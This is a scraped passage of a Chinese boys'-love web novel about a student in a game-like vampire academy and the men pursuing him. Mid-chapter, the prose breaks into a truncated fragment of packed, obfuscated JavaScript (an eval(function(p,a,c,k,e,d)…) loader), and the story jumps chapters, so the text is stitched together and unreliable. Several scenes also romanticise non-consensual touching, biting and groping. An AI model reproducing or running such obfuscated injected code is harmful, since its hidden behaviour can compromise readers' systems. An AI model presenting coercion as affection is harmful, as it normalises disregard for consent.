宋呈直播间的各位没忍住。 【笑死了,一切的事情都与他无关,他只负责让宋狗心塞。】 【宋狗你看把我老婆吓得,一进宿舍就去卫生间了】 【你个死小三】 【宝宝,复婚好吗?你把孩子丢下,现在老哭,每天要妈妈,看着你和别的男的纠纠缠缠,我真的好痛苦……】 枣芩难以忍受身上脏兮兮的,进宿舍第一件事情就是进卫生间,反锁了门开始脱衣服,嘴里小声嘀咕,“烦死了。” 口袋里的手机烫得有些怪异,摸上去的那一秒,因为没有预设,枣芩手指都被烫得疼了下。 “什么啊?”他拿出手机,却看到了自己错愕的脸出现在手机大屏中,哪怕是自下而上的死亡角度,也漂亮得出奇。 而小框里是全黑的,音量不知道什么时候被他自己关了。 枣芩表情空白了几秒,几乎瞬间挂掉了视频。 全被听见了?一直没挂? 要不还是死吧…… 不不不,肯定睡着了吧,不然怎么也不发消息,也不挂,一定是这样! 枣芩浑浑噩噩回到自己床上,抱起枕头放到另一头。 虽然说把脚对着别人不礼貌,但谁让宋呈惹他的,还被别人听到了。。 而且他的脚才刚洗,比宋呈的头都干净。 宋呈从卫生间洗完澡,原本会有着柔软头发的地方变成了平坦的被子。 他擦干湿漉的发,随手关上了灯。 黑夜里,枣芩已经很困了,迷迷糊糊间睡意蔓延,忽然脚被热烘烘的一只手给握住了。 第一反应就是什么恐怖片里面床下有人的情节,吓得瞬间清醒要把自己的脚收回来,却被拽着,怎么也抽不回来。 但人清醒之后,也立即知道是谁了。 宋呈的手上覆着一层薄茧,此时很热甚至是怪异的烫,捏着枣芩的一只脚揉,还不断往小腿爬升。 枣芩脸上的皮肤又白又软,身上的也是,脚上的也是。 被宋呈胳膊撑开的被子里,闷在其中的香气还在往外蔓延,宋呈有那么一瞬间想着干脆从里面爬进去就好了。 之后想法愈演愈烈,反应到了身体上。 枣芩烦的都想要起来扣他的手了,宋呈如有所感忽然松开了。 枣芩忙不迭将自己的脚收回,微微撑起一点身子去看宋呈犯什么病。就见他被子一耸一耸的,不知道在干什么。 他也实在懒得理那么多,骂了一句脑残,缩着身子睡了过去。 明天早上还要上课。 抱着这样的想法入睡,枣芩起来的时候第一想到的时候还是上课,却被正要出去的秦子率告知,“不用去上课了,学校通知让所有学生都待在宿舍,不要出去。” 17. 第 17 章 枣芩看着他衣着穿戴齐整,一副马上要出去的样子,问:“那你干什么去啊?” 不是让在宿舍待着的吗。 “关心男朋友?”秦子率轮廓深邃的脸低下来,大手揉上枣芩的单薄肩头,枣芩身上是睡觉穿的一件宽大白色T恤。 棉质的布料贴合着肌肤,摸上去还能触及到他的温度,像浸了凉水的玉。 此时宿舍只有他们两个人,秦子率恍惚间,感觉昨晚是他们的新婚夜,而今天丈夫要出去工作了,妻子刚刚睡醒,身上才残留着相爱过后的气味——他沐浴露的味道。 他轻轻捏了捏,没忍住对自己的小男朋友说:“好乖啊。” 而被他说乖的枣芩此时还有些许起床气,满脸的不耐烦,有点恼地按住他的手,结结实实放在自己肩膀上,“这么摸很痒,你要摸就重点摸啊。” 秦子率手背被他柔软的手心覆着,没忍住抽了一口气。 这就是男朋友的待遇吗? 秦子率面目差点因为心跳扭曲,他轻咳了声,得寸进尺起来,“那……我走之前,能要一个重重的亲亲吗?” 他微妙的停顿,“闻闻也行。” “……” 枣芩瞬间清醒睁大眼睛,喉间微梗。 闻?像昨晚一样? “不能闻、亲也不行!才一天不到你就要亲我,这也太随便了。” 枣芩嘴唇哆嗦着,垂下眼睫。 他知道的,情侣之间要做的事情,亲亲只能算最初级的。 “可是我们已经、”亲过了啊。 秦子率要说话被打断。 枣芩微抬着下巴,摇摇头,干脆霸道的胡搅蛮缠起来,“以前都不算了,现在开始才算,我们什么都没有做过,要从牵手开始。” 秦子率嘴巴咧着,蹲在他床边,自下而上看他白里透粉的羞愤面容。 秦子率总喜欢这样,如果不是蹲着,他的身高体型很难以这种臣服的角度来看枣芩。 “宝宝我们这么纯洁呀。” 枣芩抿住已经没了两次初吻的嘴巴,点头,“嗯。” 他伸出手,低声:“最多牵手。” 秦子率捧住他的手,把高挺鼻梁凑上去…… 如果不是电话来催,秦子率都不知道什么时候才走。 枣芩坐在床边,双目失神地踩在自己的拖鞋上面,骨肉匀称的两条白腿露着。 他没忍住闻了一下自己的手,什么味道也没有闻到,可是想到秦子率那个表情,就好像…… 系统忽然出声:【she了一样。】 枣芩恼羞成怒,脸红得滴血:【你在说什么啊系统!?脏死了!】 系统微顿:【我说折了什么东西一样,很痛苦的表情。】 枣芩才不信,他又不是傻子,不理这个系统了。 阳光透着窗外的大树斑驳落在宿舍木地板上,空气中还携带几分树木的清香。 枣芩看着地板上的一块阴影,等着系统跟他道歉。 不一会,那块阴影就被人站上去。 他抬头发觉宋呈回来了。 男人黑色碎发在额前,面色无波,视线正盯着自己的脚看。 被面前人像鬼一样握脚踝的记忆,让枣芩迅速穿上自己的拖鞋,把脚缩放到床地上。 “你看什么呢。”简直像个变态一样。 宋呈几步走过来,蹲到了他面前,不知道要干什么。枣芩的慌乱没掩饰好,一下甩下拖鞋收回自己的脚,躲进了被子里。 宋呈嗤笑一声,“想什么呢?” 枣芩被子里的脚趾都蜷起来了。 宋呈手中提着饭盒刚回来,他无奈道:“我之前给你的药呢?” 药? 枣芩是仔细回想了的,什么也没想到,他慢吞吞摇头,“什么药,不知道。” “不知道?”宋呈走到桌子前放下餐盒,“怪不得淤青还在。” 他提醒道:“白色的。” 枣芩眼睛一转,被这么提示才想起来,恍然:“被我丢进柜子里了。” 那小白管上面什么都不写,光秃秃的。 枣芩嘀咕:“谁能想到那是药,你也没告诉我啊。” 宋呈在撕筷子包装袋的动作停顿片刻,他似乎真的没有说。 当时在枣芩面前,他也不知道自己怎么了,心里躁动不堪,枣芩的一句话一个表情都能点燃他,按道理他应该远离枣芩。 可是他还是去了,拿着从系统那买的高级伤药,用在一点淤青上完全称得上浪费的药。 放下就走了,弄得枣芩满头雾水,到现在也没用。 枣芩慢吞吞的起身穿上拖鞋,坐在椅子边边,把筷子捏在手里。 宋呈因为意识到自己做的蠢事,闭了闭眼。 随后快步走到枣芩储物柜前,他的柜子不上锁,但并没人打开过。 宋呈打开柜子,视线突然凝住。 黑白交织的廉价布料被随意堆在柜子中,堆成软趴趴一小堆。 他鬼使神差,伸出手缓缓将那布料撑开。 黑色的地方很透,穿上应该还会隐隐透出里面的肤色,而且短短窄窄,他用手一比,只有他两只手的长度而已,根本什么都遮不住。 宋呈不敢想象枣芩穿上会是什么样子。 他突然后悔那天透过反光把手,没有多看两眼,就迅速关了灯。 转瞬即逝的画面在脑海中被拉得无限长,他攥紧布料,呼吸微促。 这本就是该给他看的。 宋呈拿起布料后,被扔在后面的白色小药管也随之露出来。 · 枣芩愣愣抬头看他,宋呈手中握着的布料,让他迅速浑身冒烟,白皙的皮肤泛起粉,站起来去夺那件衣服,“你怎么能乱动别人的东西!” “不是想穿给我看的么。”宋呈占个子高的优势,将衣服举到枣芩够不着的地方。 “……”枣芩呼吸急促起来。 手机铃声蓦然响起,是枣芩的手机。 他愤愤用肩膀撞了下宋呈,错开他到床上拿起手机,是秦子率的电话。 他坐在床边接起电话,声音有些涩,“怎么了?” 那边的秦子率似乎在走动,声音穿过手机携带着细微的电流声,“忘记问你吃什么了,等会给你带回去。” “已经在吃了。”枣芩扣着自己的手指,心里有些感谢这通电话的到来,起码让他暂时避开尴尬局面。 “在吃了?……那有没有别的想吃的呀,把肚子吃的鼓鼓的。”对方用黏糊糊的腔调说话。 枣芩都快习惯这种态度了,但距离很近的宋呈显然没有。 他眉头皱起,眼中划过冷嘲,以及,自己都没有察觉的。 掩饰之下的妒忌。 枣芩听着秦子率报菜名一样问他想吃哪个,身前突然被人用什么东西靠上来,正在思考中连忙往后仰倒下去,失措下没忍住从喉中溢出点声音,“唔……” 宋呈正坐在他身旁,眼睛斜着,将那件廉价的女士衣服往躺着的枣芩身上比,也不管他的意愿,也不管他在打电话。 “怎么了?”秦子率听到他的声音问。 枣芩呼吸停了秒,然后推拒着宋呈的手,不让自己的语气有什么异常,“没事,给我带果茶就好。” 衣服贴着身体,宋呈正在比长度到哪里。 “好。”秦子率忽然又道:“离那个宋呈远一点,他欺负你就给我打电话。” 宋呈显然也听到这句了,嘴角扯起一点弧度。 枣芩闷闷道:“嗯。” 挂掉电话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【脾气好好的老婆】 宋呈无疑是个行动派,立马就带着枣芩穿鞋,一路穿过虽是白天却空无一人的校园,显得诡异。 像上次一样带着他翻过墙。 宋呈问:“你想去哪里?” 枣芩一直觉得一定要来a区,之前,这里代表的灿烂的过去,挽救家业的可能性,现在这里同样代表的通关的关键。 两者交杂起来,让枣芩一直觉得要来这里,但来到这里,他一时间也真不知道从哪里开始。 他睫毛垂下来,将身体靠在墙上,“要不见见我以前的朋友们吧?” 宋呈缓缓点头,看出枣芩的表情不太好看,“你把他们叫过来我给你打一顿?” 枣芩因为他的话弄得睁大了眼睛,不知道他是怎么理解的,忙摆手,“啊?不用。他们也没做什么。” 无非就是扩散了自己撒的谎而已…… 尤其知道他们也只是npc后,更没什么可生气的了。 a区还在正常上课,他们不能直接去找。 枣芩蹲在林子里,打开软件,将之前玩的好的几个朋友拉了个群。 明明之前一直不回信息的人,在看到被拉了群之后,一头雾水又无语的接连发着 “?” “……”。 头顶的宋呈忽然不轻不重“咳”了声,枣芩下意识抬眼,见他把外套脱下来铺在了枣芩身边的地上,说:“坐下吧。” 枣芩微愣,随即抿着嘴巴坐了上去。 有点不好意思,但蹲着确实有点累呀。 就当是宋呈欺负他的补偿吧。 他葱白泛粉的手指打着字,看到之前一个经常夸赞他的朋友,唐彦铭发了句:【谁拉得群?又有什么好玩事?】 枣芩把之前打好的字删除,重新输入,【我的群。】 22-30 第22章 第 22 章 变态吗? 资料中那个骄纵又哗众取宠的男生, 与眼前的小树苗如何都重叠不到一起。 “过来。”出口便是命令的语气,他说出口就有些懊恼,眉头轻皱了下。 或许是他太有压迫感, 枣芩睫毛快速颤了好几下, 松开攥着窗帘的手, 听话的缓缓往前走了几步。 被李知樾一看, 枣芩脸上顺势露出可怜的弱势表情,说话都变得很细小:“学长……我真的知道错了。” 明明已经把他赶到b区了, 还没报复完吗, 现在为什么又让人蒙着眼睛把他扛过来? 他偷偷抬眼去看李知樾的表情,对方没有太多软化, 深红色眸子是和那记忆中相似的淡漠。 对方伸手过来,枣芩瞳孔微缩,下意识闭上眼睛。 想象中的疼痛没有传来,男人的手在他头发上拂过, 因为他闭眼的动作眼皮一跳,解释说:“头发上有灰。” 枣芩睁开眼睛, 猜想应该是他靠墙蹭上的。 李知樾:“肚子饿不饿?” “?”枣芩慢吞吞点头,不明所以地说:“嗯。” 为了显得自己更可怜点让对方消气,枣芩摸着自己的肚子,“我已经好久没有吃过东西了。” 他脸蛋上也沾着点灰尘, 肚子瘪瘪没吃东西, 表情也很可怜,像是走失在外面,流浪了一段时间回来的小白猫。 ……然而,这只小猫就是他丢出去的。 他是想要说点什么的,可是话到嘴边, 好像说什么都不合适,都堵了回去…… 深木桌子上摆满了精致、各式各样的食物,再来五个人都不一定吃得完。 中间还有点燃的蜡烛,放置在金色奢华的底座上,暖光在枣芩白皙脸上断断续续的摇曳。 他紧并着膝盖,乖巧坐在餐桌前,咽了口口水。 他偷偷瞄,旁边的李知樾一直不动作,他也不敢先开吃。 李知樾只穿着件黑衬衫,挽到手臂上方,露着比起秦子率消瘦些的手臂,他身材瘦高,皮肤是属于血族的苍白。 在没有阳光的地方瞳孔更红,他朝着枣芩撩眼看过来。 枣芩说饿却一直不吃,是还有什么问题似的。 他从一旁拿了勺子舀起一个虾仁,抬到枣芩嘴边,眉心轻皱,“要喂?” 这一刻,他才感受到资料里的那句娇纵不是作伪,只是被它的主人委屈可怜的模样压下去了。 其实还是非常娇气。 这么大了,吃饭都等着让喂才行。 到了b区又是怎么生活的…? 枣芩感受到唇边坚硬的勺子,脊背都僵了瞬,被男人盯着,他慢吞吞张开唇,很快被喂进嘴里。 虾是好吃的,其他食物也是好吃的。 但因为李知樾没喂过人饭,他上一口还没咽下去,下一口就来了,根本就来不及品尝。 简直如鲠在喉,如芒刺背,如坐针毡! 他嘴里鼓起弧度,急得呼吸稍促,喉咙中哼哼两声,打断李知樾的动作,含含糊糊说:“我已经很饱了……” 李知樾的椅子早被拉近枣芩身侧,他此时又已经舀好了一勺香喷喷的蛋羹。 满桌子菜基本跟没动过似的,他放下蛋羹,随意垂眼看向桌子枣芩被校服勾勒得很窄的腰,腹部确实微微鼓起来了。 他评价道:“胃口真小。” 枣芩咽下食物,捂住自己的肚子,不让对方再看了。 他问:“学长,我什么时候回去呀?” 李知樾看了他两秒,没说话,像是没听到。 但枣芩也不是笨蛋,知道他这是不想回答。 没多久,枣芩坐在客厅的沙发上,就见有人收拾完东西离开。 李知樾给枣芩开了电视,以防他无聊,上面放着一部正在热播的电视剧。 女主角是血族亲王,男主是被虏获的圣子,此时电视剧正播到女主将男主关在古堡,要报复他。 枣芩怎么看怎么觉得像是在映照自己此时的情况。 他搞不懂,李知樾到底想干什么。 如果是想接着报复他,应该不给他饭吃把他关起来才对。而不是跟喂小孩一样喂他吃饭。 沉浸在自己的思绪中,他都没有注意到身后站了人,手撑着沙发,一直在盯着他黑色碎发下,白净的脖颈。 低沉嗓音突然开口:“听说你在b区交男朋友了。” 突如其来响起的声音把枣芩吓了一跳,原本软绵绵靠在沙发上东歪西扭的身体,瞬间正襟危坐。 李知樾从沙发后面绕到前方,落在他身旁,倚靠在沙发上,侧着头看他。 枣芩不知道他想听什么,耸耸鼻尖,先“嗯”了一下。 “这么小就交男朋友……”声音听不出什么情绪。 但枣芩从他蹙起的眉看得出他很不爽。 像是那种很爹味的人。 别人多少岁谈恋爱关他什么事,更何况他也没比枣芩大多少。 “我只比你小一岁多而已……”枣芩没忍住顶了一句,又迅速收回视线。 李知樾一脸淡定:“可是我没有谈恋爱。” …… “我还是处男,也没有接过吻,没有牵过手。” 枣芩:? 是在嘲讽我吗? 他急头白脸道:“我也是那个的。” 声音小下来,“我也是,我还没有做那种事情。” 李知樾神色顿了顿,慢悠悠:“哦,就是别的都已经做过了。” 他那副表情让枣芩一下红了脸,头顶都要冒烟了,他们为什么要讨论这种问题啊! “我是有原因的,我也不想的!” “他强迫你?”李知樾眼底涌过暗色,盯着枣芩等待他的回答。 枣芩一愣,忙摇头,“不是,不是强迫。” “不是强迫为什么说不想。”他追着问。 枣芩又急又烦,但说的真话,“就是、他说我跟他在一起,他就可以让我回a区……我就答应了。” 话说出,李知樾怔怔,“怎么不找我?” 枣芩也愣了,老老实实说:“我找过你了,我去跟你道歉的,看到你在车上,你让人把我赶走了。” 说到这里,枣芩心里酸酸的,他知道这些不是真的,只是数据,可是他面对此时还算温和的当事人,还是忍不住。 “我还给你发了好多消息,我被欺负,腿也受伤,我爸爸妈妈也不要我了。你也没有回过一次,我才想到让别人帮我的……” 李知樾说不上来自己是什么心情,就是听到枣芩说这些,心里很不舒服,很闷。 他给枣芩造成的这些伤害,在他的记忆中,甚至没留下什么痕迹,却给枣芩造成了很大的影响。 还被人欺负了。 他不由语速变快,“腿还有伤吗?谁欺负你的?叫什么名字?” 枣芩摇摇头,嘴巴抿了抿,“已经好了。” 别的就不愿意说了。 李知樾记得那天晚上,枣芩打过来的视频,独自一人在黑夜中,遇到了一个男人,是他男朋友的哥哥。 从枣芩话里,他男朋友把他丢下,就跟朋友走了。 他一个人在晚上的树林里到a区找他男朋友,可怜兮兮的爬不上去墙,还是男朋友的哥哥让他骑着上去的。 明明用那种不光彩的手段把人骗到手,却一点都不珍惜,不好好保护。 但这里面也有他的功劳不是吗? 如果他没有把枣芩丢过去,他现在还是好好的小少爷,被家里保护的很好,绝不会被男人骗。 李知樾心头抽了抽,只想现在立马把做过的错事弥补,把欺负枣芩的人揪出来。 他许久没说话,枣芩没忍住打了个哈欠,眼底闪过一点湿润。 他问:“想睡觉了?” 枣芩迟疑点点头,“嗯,晚上没睡。” 李知樾站起身,弯腰将手臂圈近他的腿弯,搂住他的腿肉。 枣芩又被悬空抱起来,李知樾身上陌生的冷冽气息把枣芩吓到,“你要干什么!?” 李知樾:“抱你去睡觉。” “不要你抱,我自己走。”枣芩跟只不让抱的猫一样,挣扎起来。 李知樾将人放下来,枣芩将自己的脾气压住,但漂亮的眼睛还是透着不悦,嘴角一边抬着,他道:“不麻烦你了,我自己上去。” 枣芩自己快速跑上楼,不忘回头瞥了眼李知樾,对方也正看着他,他咬了咬唇,转身进了卧室。 没有边界感! 他靠在门上缓了缓,才进浴室把自己洗干净,躺进了自己喜欢的不得了的棺材里。 底下铺得刚好,不软也不硬,看着四四方方的天花板,枣芩特别有安全感。 这个棺材的材料很有质感,触及到它,就会有种从心灵深处的舒服。 空气闷热,外面快正午。 枣芩终于过上了血族的正常作息,日出而息,日落而作。 睡到一半他被憋醒,夹着腿,触碰到两侧的木板才反应过来自己此时躺在哪里。 他缓缓爬起来,就看到卧室窗边站着一个人,窗帘缝隙照射进来的光照在他衣服上,面容隐在黑暗中。 枣芩懵了片刻,“李知樾……?” 李知樾来到他面前,枣芩微微仰头,揉了下眼睛,“你来我这里干什么?” 枣芩还在迷糊。 李知樾脑海中浮现那个被他废弃的账号上,收到的几百条信息。 他手指滑动,每一条一字一句看完。 枣芩去到b区后的生活,都铺陈在他眼前,让他眉头皱了又皱,手指握紧手机。 而此时他被枣芩巴巴看着,心跳了跳,“那我回我床上睡觉了?” 枣芩摸了下自己的头,搞不懂这有什么可跟他说的。 “哦。” 枣芩上完厕所,窗帘已经被紧紧拉住,不漏一点光。 李知樾已经不在了,枣芩随手将灯关掉,扶着棺材头进到棺材中,正要坐着躺下,忽然没忍住哼了声,身体紧了紧。 好像坐到了什么奇怪的东西? 身下的人胸腔中发出闷闷的声音。 枣芩浑身僵住,喉咙像堵住了。 一切的感受都被无限放大,那人手指握住了他的大腿。 枣芩瞬间手忙脚乱缩到棺材尾部去,心脏仿佛被火烧着了,他声音打着颤,“是你来我这里的…我不是故意的!” 完蛋了。 自己居然…… 李知樾一直不说话,直挺挺躺在那里,跟死了一样,良久才缓缓坐起来,身体略显僵硬。 枣芩的肩膀正在抖,黑暗中良好的视线让他看到枣芩满脸不安,看起来被吓坏了。 他嗓音低哑,鼻尖还温热,开口安抚:“我的错,怪我。” 手抚上圆润的肩头,睡衣单薄紧紧贴着皮肉,他将对方颤抖的身体搂进怀里,感受到对方混血纯度低的身体高于他的身体温度,心里泛起麻痒。 温热的身体,柔软的腿,泛着香的肤肉。 抱在怀中他自己的心仿佛都被填满,他没忍住去嗅闻枣芩身上的香气,枣芩在他的安抚和怀抱下逐渐趋于平静,呼吸平稳下来。 枣芩那什么的男朋友,有这么抱过枣芩吗? 他跟枣芩都是血族,枣芩的初恋也是他。 不然也不会去和别人说和自己谈恋爱了,还说自己吻了他。 他都想到要是他那时候多看看枣芩,心软一点,是不是他们就真的在一起了,也不会有后面的事。 而是更早像现在一样,把他抱在怀里。 他低头凑到枣芩脖颈间,感受到他平稳的呼吸,活跃的血管,来自本能的催促让他遏制不住自己的冲动,舔了下。 怀中的枣芩忽然收紧皮肤。 抱着他的男人轻笑一声,湿热的温度继续覆上脖颈。 枣芩紧闭的眼睛都快掉出眼泪来了。 对方的牙比他尖很多,轻易就能穿破皮肤,此时正摩擦剐蹭着他感受到危险颤抖的皮肤。 “不可以。”他推着李知樾的胸口。他都已经道歉了,李知樾也说了没事,怎么还能咬人? 对方只是轻哼一声,“嗯?” “你回你房间。”枣芩用手肘推拒着他,“我是混血,混了好多代了,血一点不好喝。” 李知樾撑着自己的头,语气平平,“啊,可是这里就是我的房间,我之前都睡这里。” …… 枣芩呆愣住。对方确实没有说过这里是他的房间,只是被送到这个房间就自作多情的以为是自己的。 枣芩的尴尬在这个夜里,一层一层往上盖,然后坍塌把他压在下面。 他也不好意思赶别人了,“那,我去客房吧。” “你觉得我是会让别人来我家的人吗。”对方一句话打断了想要起身的动作。 枣芩:…… 看着他难为情的样子,李知樾没忍住摸了下他的头,“睡吧,不欺负你,我去工作。” 他这么说,枣芩反倒是心虚,明明是自己占了他的房间,对方却要出去。 他有点心软了,老实巴交说:“这里挺大的……” 侧躺在棺材最边缘,枣芩尽量离李知樾远点,他怎么也想不到自己有一天会和李知樾睡在一起。 枣芩身上出了层薄汗,没忍住往身后耳朵冰块人靠近一点点。 “好好睡觉,明天有惊喜。”男人在他身后说。 哪怕发生了乱七八糟的事情,枣芩还是睡的很好。 第二天醒来。 枣芩光着脚,缩在沙发上,捧着手机在耳边,迟疑喊了声,“妈妈爸爸。” “芩芩。”女人的声音带着陌生,让枣芩找不回归属感。 “你在李先生那里怎么样?” 对面的李知樾深红色眼眸深不见底,见他看过来就勾起了唇,静静看着他。 “嗯。”枣芩垂下眼。 妈妈说:“那就好,要好好谢谢李先生,多亏了他帮忙,放假了就回家吧,好好照顾自己。” …… “我知道了。”枣芩挂掉电话,将手机还给李知樾。 李知樾接过手机便丢到一旁,手指摸着他的下巴,微微往上一抬,他粉润的唇抿着,视线也不看李知樾。 “怎么还不开心。”他拇指和食指捏了捏枣芩的脸颊,他脸上软软的,指头一捏就陷下去一些。 枣芩心里很乱,没有因为他冒犯的举动做出反应。 他想的倒不是父母了,而是在想通关。 今天醒来,李知樾在办公室工作,枣芩趁着时间寻找起了线索。 甚至出乎他自己的意料,他真的发现了,就在厨房的冰箱里。 那里摆放着的全是红色血袋。 “好烦。”他自言自语了句,脑子怎么转都串不起来。 干脆直接开口问了:“你冰箱里的血是人的吗?” 李知樾顿了秒,“在想这个?” …… 看着宋呈翻出来的写着人工制造的外包装,枣芩不知道说什么好了,因为淡色的太常见,他下意识觉得红色的就是真的血。 直到喝了一口,他眼睛一下亮起,小尖牙也跟着冒出来。 “好喝。”他舔舔红艳艳的唇,露出的一点点舌尖也是红的,清纯的一张脸仿佛被沾染上了欲念。 他迷迷糊糊的吸着空袋子,吸了好久没吸上来,才丢到一旁,懒洋洋眯着眼睛躺在沙发上。 疼痛立即让枣芩痛呼一声,脖子被咬上。 “你干什么……”他声音不敢太大。 李知樾那个样子仿佛要吃了他似的,昨天晚上也是,要咬他脖子。 他现在怀疑李知樾把他当备用粮,哪天没有血就吸他的。 本来就很惨了,还要被他折磨。 虽然只是被轻咬着。 “疼,疼死了。”他声音带上点哭腔,“我真的要死了,脖子要断了。” 他伸手用力拍打着李知樾的肩膀,对方听着他夸张的说法,终于缓缓松开他,声音哑得不像话,看着枣芩湿红的小脸,身体发紧,“被咬一下就要死了吗?做其他的怎么办……” 枣芩感觉自己的腿被捏了捏。 他睁大眼睛,停滞几秒,小声:“你是变态吗?” 李知樾:…… 枣芩没听说过谁家血族吸大腿的血,大腿的血管难找,哪怕追溯到几百年前,血族也都是用脖颈下手的。 李知樾没忍住笑了,他抓住枣芩的两边的腿肉,往前逼近,“怎么办,我就是变态。” 他看到枣芩的第一眼是在屏幕中,不甚清晰,他身体却一下子仿佛条件反射有了冲动。 第二眼便是在他学校的工作室中,枣芩坐在他的沙发上,露在外面的皮肤都是白的,表情皱着,是一个惊喜出现。 “看到你的第一眼就想这么对你了。”他在枣芩惊慌的视线下说。 枣芩感受到了不同寻常的东西抵着自己,浑身僵住,嘴唇刚开就被男人的大手捂住,呜呜了几声。 可恶,神经吧这人。 他想要起来躲开,可是因为姿势太怪异,腿还被人手拿把掐,根本动不了。 “喜欢钢笔书房还有很多…”他附身,呼吸重得吓人,“所有人都会知道我们互相喜欢,好不好?” 他的嘴一刻不停,好像除了动作还不够,“等会打电话跟那个人分手,跟我在一起,好不好……” 一直说着好不好,却一直不问枣芩的意思。 趁着他动作的松懈,将自己的腿放开的瞬间,枣芩用力踢在他的肩膀处,李知樾没有设防,后仰坐下,双眼鲜红,还在喘息。 枣芩忙坐起来,连被脱下的鞋都来不及穿,光着脚跑上楼到了房间,反锁房间门。 忙爬进棺材里,拽着被子盖在头顶。 好不舒服,好别扭。 李知樾来敲了几次门,都是一些,吃饭喝水道歉。 道歉还一点都不真心实意,还说一些莫名其妙的话。 说已经告诉枣芩的父母想和他结婚了。 枣芩从棺材爬起来,攀着边缘,瞪着门。 谁要跟他结婚。 一直到深夜枣芩也没让李知樾进来,或许是一直睡宿舍的原因,昨天睡得饱,枣芩一个人睡突然睡不着了。 手机也在被捉时,不知道去哪里了。 正胡思乱想,窗外好像有敲窗的声音,一下一下,很有节奏感。 枣芩缓缓爬起来看了眼,床帘拉着,根本看不到外面是什么情况。 敲窗的声音消失,枣芩松了口气,攥着被子的手松开。 或许是小鸟。 人还没躺下,那一下一下的声音又响起,甚至似乎在撬什么东西的铁片发出的声音。 松开的手再次攥住,他咽了下口水,忽然希望李知樾再出现在门口,他这次一定开。 枣芩裹着薄被站起来,稍微增加了些安全感。动作有些笨拙的跨出棺材,又把拖着的被子拽出来,蹑手蹑脚来到床帘旁。 看一眼就好了,看一眼是小鸟就能安心睡觉。 枣芩咬着唇,心脏大声跳动。 他慢吞吞将床帘拉开一点,月光照射下,窗外是一个巨大的黑色人影,看不清脸,他停下敲窗的东西似乎正在看着他。 枣芩眼睛瞪着,连声音都发不出了,立即想要逃跑,却踩到自己带出来的被子,膝盖磕在地板上,发出闷响。 后背的冷汗一瞬间遍布全身,但他还是立即站起来去开门,同时忍不住不时回头看一眼,以防那东西追上他。 盖住的床帘被风吹得隆起一块,窗撬开了! 枣芩将反锁钮打开,立马就要逃,身后的人沉沉的声音响起,透着些许无奈,“枣芩,我是宋呈的哥哥。” 熟悉的声音和熟悉的名字让枣芩浑身一软,瘫坐在地板上,“哥哥?” 他不敢开灯,宋闵说是和他的同事在查东西的时候,意外发现他的,这里看守严密,他观察了会才决定这个时间来救枣芩。 枣芩颤声问:“宋呈现在在哪呢?” “……不知道。”宋闵道。 枣芩:…… 他还算相信宋闵,愿意跟宋闵离开。 从李知樾衣柜找出对方给他放置的衣服穿上,他听宋闵的话,趴在他背上,腿从后面缠着他的腰。 对方的身体硬邦邦,在窗边,话语被风夹带着灌入枣芩耳中。 “松开一点,太紧了。”随后又莫名奇妙说了句,“没有别的意思。” 枣芩连忙应了声,“嗯,好。” 他是怕自己掉下去了,但对方都这么说了,他也不好意思夹得那么紧。 男人闷头闷脑,一言不发背着他翻出去。 枣芩紧紧闭着眼睛,脸埋在宋闵背上,呼啸的风吹着他露在外面的每一寸肌肤,搜刮温度。 他的腿不受控制的再次夹紧。 他心里说,李知樾臭蚊子,再也不见! 背着他的人咳嗽两声,枣芩从他背上抬起小半张脸,“到了吗?” 面前的宿舍有些陌生,宿舍内还有两个人正看着他们,有些愣住了。 宋闵跟他解释:“这是学校安排给我们的宿舍。” “哦。”枣芩从他身上下来,面对两个不认识的人,呆站在原地。 宋闵安排起来,“喝水吗?”他指指一个床铺,“可以坐那里,是我的床位。” 枣芩听话地过去坐下。 这里灯光明亮,与李知樾那阴暗的地方不同。 宋闵区给他倒水,两个同事几步过去,其中一个是跟他一起检查学生的那位,另一个则是负责其他工作。 同事望了眼干干净净,和整个宿舍都不太协调的枣芩,“那不是你弟他对象吗?怎么被你带回来了?” 宋闵沉默着,用自己的杯子在饮水机接了一半的水,拿过去放到枣芩手里。 枣芩捧着被子,有点拘谨,“哥哥,你能联系到宋呈吗?” 不知道他们的任务进行到哪一步了,是不是发现真正的吸血鬼了。 他迫不及待想知道,毕竟任务时间只剩一天了。 宋闵眸色沉了些,摇头,嗓音低而厚,“联系不到他。” “哦。”枣芩表情明显有点失落,紧接着,伸手捏住他的衣服,“那你能帮帮我吗?帮我一个事情。” 宋闵看着捏着自己衣角的白皙漂亮的手,视线余光还能看到自己的,颜色比枣芩深很多也比他大很多。 他不敢多想,也不听是什么忙,就应下,“能,你说。” “我的手机好像落在宿舍了,你可以帮我拿过来吗?如果碰到宿舍里有其他的人话,你叫他来这里找我。”枣芩琥珀色眼睛专注嘱咐着他,让他记住自己说的话。 宋闵恍恍惚惚应下,“好。” 枣芩的手松开,宋闵握住了枣芩刚捏着的布料。 宋闵再次推门而入便看到同事两人也坐在自己床上,全都看着枣芩,在和他说话。 枣芩在两人的对比下,精致好看的晃眼,像是个小王子。 察觉到自己回来,原本还在和他们说话的枣芩一下站起来,迫不及待就几步过来。 宋闵心中微妙动了动。 “找到了吗?”他满眼期待。 宋闵从口袋掏出被保护好的手机,枣芩水粉的唇立即扬起来,双手捧着接过去,说:“谢谢哥哥。” “嗯,不客气。” 枣芩立即按开自己的手机,在原地就开始翻找起什么,迅速打了个电话。 那边接通的速度很快,一瞬间,他肉眼可见的看到了枣芩对真正依赖的人是什么样子,口吻浮现了点颤巍巍的委屈,“秦子率……” 在叫一个男人的名字。 “你人呢,你怎么不在宿舍,你在哪里啊?” “嗯,你快点,我等着你……”他眼睛垂着。 第23章 第 23 章 不是宋呈的男朋友吗? 秦子率放下手机就火急火燎朝着枣芩发来的位置去。 天知道他想了多少办法, 为了把他找回来。 一推门而入,枣芩正在被人帮着穿一件黑色工装宽外套。 看到秦子率,他眼底涌现细碎光亮, 随即嘴唇抿出一个委屈的弧度, 仿佛终于看到了可以依赖的人。 秦子率一时间甚至没注意到其他人, 几步冲过去, 拦腰紧抱住他细瘦的腰身,佝背, 下巴放在他肩膀上喘息, “吓死我了,你知不知道有多危险。” 枣芩被抱得微微塌腰, 小声埋冤,“你干什么不待在宿舍,不然宋闵哥就能早点带你过来了。” “我、”秦子率微顿,手在他腰后丈量, 忽然说:“你都瘦了。” 身后不知道谁咳了一声。 枣芩嘴角尴尬地扯了下,推开他的胸口, 